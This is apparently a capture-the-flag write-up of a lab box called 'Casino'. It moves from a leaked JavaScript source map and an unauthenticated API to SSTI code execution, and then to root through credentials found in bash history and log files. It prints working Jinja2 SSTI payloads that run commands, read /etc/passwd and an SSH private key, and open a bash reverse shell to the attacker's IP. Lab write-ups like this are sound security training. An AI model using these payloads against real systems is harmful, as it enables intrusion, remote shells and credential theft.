Casino - Medium Web + Linux Privilege Escalation CTF Writeup
Casino was a fun medium-level challenge that combined web exploitation with Linux privilege escalation. I went from finding a hidden API endpoint → SSTI vulnerability → privilege escalation through plaintext credentials scattered across log files and bash history.
The Attack Flow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Port Scan → Web App on 80
↓
JavaScript Source Map → Hidden API
↓
Occupied Rooms Data → Guest Login
↓
Reflected Name Field → SSTI
↓
Command Execution → Read Creds
↓
SSH Private Key → Shell Access
↓
George's Bash History → David's Password
↓
David's Logs → Root Password
↓
Root Flag ✓
Step 1: Port Scanning
1
nmap -sC -sV 10.1.241.132 -vv -oA nmap/casino
Results:
1
2
3
4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Werkzeug/3.1.8 Python/3.10.18
2222/tcp open ssh OpenSSH 8.4p1 Debian
Three ports open. Port 80 caught my eye immediately - Werkzeug means Python backend.The web app title was “Hack Smarter World - Guest WiFi & Portal” - a hotel/ISP guest portal.
Step 2: Directory Fuzzing (Dead End)
I tried fuzzing common directories:
1
2
3
ffuf -u http://10.1.241.132/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt:FUZZ \
-recursion
Nothing useful came back. Time to dig deeper into the frontend.
Step 3: Failed Login Attempts
I tried random credentials on the login page.
Error message: “Not reserved” - meaning the system checks if the guest name + room combo is actually in the reservation system.
May be we can bruteforce if we have the correct wordlist for the guestLastName and roomNumber but I will not go there, I needed to find valid credentials or a different way in.
Step 4: The JavaScript Source Map Gold Mine
I opened Burp Suite and looked at the JavaScript files. Found app.min.js with some interesting functions, but more importantly…
At the bottom of the minified file:
1
//# sourceMappingURL=app.min.js.map
Source map files contain the original unminified source code - meant for developers to debug. Let me check if it’s publicly accessible:
Bingo! The .map file was there and readable. Inside it I found this hidden endpoint:
1
/api/v1/rooms/status?status=occupied
This was the key. Developers forgot to remove the source map from production. Always check for .map files!
Step 5: Leaking Guest Data from Unauthenticated API
I navigated directly to that API endpoint:
1
http://10.1.241.132/api/v1/rooms/status?status=occupied
The API returned 100 occupied rooms with full guest details - names, room numbers, checkout dates, tier levels. No authentication needed!
One entry caught my eye:
1
2
3
4
guest_name : Smith
room_number : 105
status : occupied
tier : Standard Guest
Let me try logging in with these credentials…
It worked! I’m now logged in as James Smith, Room 105.
Step 6: SSTI in the Name Field
Inside the dashboard, I noticed the guest name “James Smith” was displayed on the page and there was a field to update it.
Reflected user input + updateable field = immediately test for SSTI/XSS. Since we know it’s Python/Werkzeug.
Let me test basic SSTI payloads:
Test 1: Input {7*7}
- Result: Shows as
{7*7}(no execution)
Test 2: Input {{7*7}}
- Result: Shows as
49(SSTI confirmed!)
** SSTI confirmed!**
Step 7: Command Execution via SSTI
With SSTI confirmed, I escalated to RCE using the standard Python payload:
1
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Result:
1
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I have code execution as www-data. Time to find credentials for privilege escalation.
Step 8: Reading /etc/passwd
1
{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}
Two interesting users:
1
2
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash
Both have login shells. These are my targets for privilege escalation.
Step 9: Finding George’s SSH Private Key
Let me check for SSH keys:
1
{{ config.__class__.__init__.__globals__['os'].popen('cat /home/george/.ssh/id_rsa').read() }}
Got it! George’s SSH private key:
1
2
3
4
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gt
[...key content...]
-----END OPENSSH PRIVATE KEY-----
Step 10: Getting a Reverse Shell
Before using SSH, I wanted an interactive shell through the web app itself. I set up a listener:
1
nc -lvnp 4444
Then crafted a reverse shell payload. First attempt with base64 encoding failed (used wrong IP).
At first I got no callback. After a while I realized the mistake - I had used the lab IP instead of my VPN IP.
I corrected the IP to my VPN address and used the direct bash reverse shell payload instead:
1
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.200.82.206/4444 0>&1"').read()}}
Shell obtained!
Step 11: Getting the User Flag (George)
Now I had shell access as www-data. Let me read George’s home directory:
1
cat /home/george/*
First flag captured!
Step 12: Checking BASH HISTORY FILE
- Now I checked bash history from here:
1
cat /home/george/.bash_history
Found David’s password in the history!
1
Password: DavidPass2026!#
Switching to David:
1
su david
Confirmed:
1
uid=1001(david) gid=1001(david) groups=1001(david),4(adm)
Step 13: Finding Root Password in Logs
David’s bash history was empty, so I couldn’t use the same trick. Time to look for log files. Checked /var/log/provisioning.log:
1
cat /var/log/provisioning.log
Found it inside David’s area in /var/log. Reading it revealed the root password.
- So at this point I found a password to become the root user.
Step 14: Becoming Root
1
su root
Entered the password from the log file. Confirmed with:
1
2
whoami
# root
Step 15: Root Flag
1
cat /root/root.txt
Root flag captured!
Attack Summary
| Stage | Method | Credential Source |
|---|---|---|
| Initial Foothold | Source map revealed API | Source code exposure |
| Guest Login | API leaked reservation data | Unauthenticated endpoint |
| Code Execution | SSTI via name field | Reflected input |
| Shell Access | Reverse shell via SSTI | RCE as www-data |
| User Pivot #1 | George’s SSH private key | Read via SSTI |
| User Flag | Read /home/george/* | File permissions |
| User Pivot #2 | David’s password in bash history | George’s bash history |
| Root Pivot | Root password in log file | David’s file access |
| Root Flag | cat /root/root.txt | Root access |
Key Lessons
1. Always Check for Source Maps
Source map files (.map) expose your original unminified code. Developers forget to remove them from production all the time. They’re a security researcher’s best friend.
2. Unauthenticated APIs are Dangerous
The /api/v1/rooms/status?status=occupied endpoint required zero authentication and leaked 100 guests’ full details. One API endpoint = game over.
3. Reflected Fields = SSTI/XSS Testing
Any user input that gets reflected on the page should be tested for injection. Knowing the backend tech (Werkzeug helped me pick the right payloads immediately.
4. Bash History is a Goldmine
Commands get saved to .bash_history in plaintext, including ones with passwords. Devs and sysadmins frequently run su or set credentials inline - massive security risk.
5. Log Files Leak Credentials
Provisioning scripts, deployment logs, and setup logs often store passwords “temporarily” for auditing. They get left readable long after they’re needed.
6. Double-Check Your Reverse Shell IP
Using the lab IP instead of my VPN IP wasted time. Always verify your connection details before sending shells.
Tools Used
- nmap - Port scanning
- ffuf - Directory fuzzing
- Burp Suite - Intercepting requests and exploring app
- nc - Reverse shell listener
- SSH - Accessing the box as different users
Challenge Source: HACKSMARTER
Difficulty: Medium
Date Completed: Aug 17th, 2026
Writeup by: Rabin Gaire
Happy hacking!



























